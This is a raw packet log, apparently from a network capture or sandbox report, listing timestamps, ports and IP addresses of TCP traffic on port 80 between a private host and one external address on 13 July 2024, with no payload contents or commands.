Jul 13, 2024 07:07:01.983365059 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.983416080 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.983443975 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.983449936 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.983483076 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.983483076 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.983658075 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.983658075 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984163046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984214067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984215021 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984249115 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984258890 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984299898 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984304905 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984337091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984384060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984384060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.984934092 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.984977007 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.985012054 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.985064030 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.985097885 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.985111952 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.985111952 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.985132933 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:01.985229015 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:01.985229015 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.076407909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.076457024 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.076518059 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.076589108 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.076589108 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.076589108 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107237101 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107310057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107314110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107362986 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107372046 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107397079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107431889 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107441902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107441902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107465982 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107489109 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107501030 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107533932 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107542992 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107542992 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107572079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.107614040 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.107614040 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.108284950 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108319998 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108342886 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.108372927 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108381033 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.108406067 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108422995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.108442068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108475924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.108494043 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.108584881 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.109253883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109306097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109312057 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.109340906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109375000 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109385967 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.109411001 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109431982 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.109445095 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.109533072 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110306978 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110358953 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110358953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110394001 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110416889 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110426903 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110460997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110475063 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110475063 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110496044 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110532999 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110532999 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110901117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110949993 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.110955000 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.110990047 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111053944 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111088037 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111098051 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.111113071 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.111125946 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111169100 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.111169100 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.111840963 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111892939 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111926079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.111959934 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.111989021 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112023115 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112057924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112066031 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112066031 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112308979 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112746954 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112787962 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112798929 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112833977 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112867117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.112878084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112878084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.112967968 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.164870977 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.164961100 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.164995909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.165031910 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.165066957 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.165129900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.165129900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.165129900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.165129900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.165129900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.231986046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232029915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232067108 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232101917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232136965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232172012 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232191086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232191086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232192039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232192039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232208967 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232251883 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232251883 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232309103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232363939 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232398033 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232429981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232464075 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232466936 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232466936 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232506037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232567072 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232603073 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232639074 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232672930 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232697964 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232724905 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232758045 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232779980 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232779980 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232793093 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232826948 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.232848883 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232848883 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.232947111 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233062983 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233129025 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233161926 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233179092 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233179092 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233278036 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233293056 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233346939 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233352900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233381033 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233475924 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233519077 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233552933 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233586073 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233597040 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233597040 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233623028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233665943 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233665943 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233709097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233742952 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233776093 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233788013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233788013 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.233810902 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.233817101 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234106064 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234430075 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234500885 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234538078 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234546900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234546900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234571934 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234606981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234616995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234616995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234659910 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234695911 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234705925 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234705925 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234730005 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234764099 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234775066 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234775066 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234797955 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234836102 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.234842062 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.234842062 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235213041 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235327959 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235362053 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235394955 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235407114 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235407114 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235447884 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235450029 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235482931 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235517979 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235526085 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235527039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235553026 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235599041 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235599041 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235640049 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235672951 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235706091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235716105 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235716105 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235739946 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.235785007 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.235785007 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236219883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236274958 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236309052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236320019 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236320019 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236363888 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236408949 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236442089 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236475945 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236491919 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236491919 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236529112 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236569881 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236605883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236639023 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236650944 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236650944 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236673117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236706972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.236717939 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.236717939 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.237102032 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.237256050 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.237289906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.237325907 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.237354994 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.237374067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.237374067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.238326073 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.238379002 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.238379955 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.238379955 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.238413095 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.238461971 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.238461971 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251574993 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251646042 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251701117 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251722097 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251722097 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251734972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251773119 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251782894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251782894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251806974 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251841068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251873016 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251888037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251888037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251908064 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251940966 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251976967 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.251986027 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.251986027 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.252054930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.318953991 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319030046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319063902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319092035 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319097042 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319147110 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319183111 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319202900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319202900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319216967 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319252014 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319284916 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319319963 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319322109 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319345951 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319353104 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319386005 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319395065 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319395065 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319421053 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319444895 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319456100 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319489956 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319524050 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.319571972 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.319701910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.359858036 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.359925032 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.359952927 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360006094 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360040903 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360074997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360112906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360146999 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360181093 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360192060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360192060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360192060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360192060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360192060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360233068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360268116 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360272884 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360272884 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360301971 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360337019 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.360347986 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.360347986 CEST	58979	80	192.168.2.5	77.232.41.110
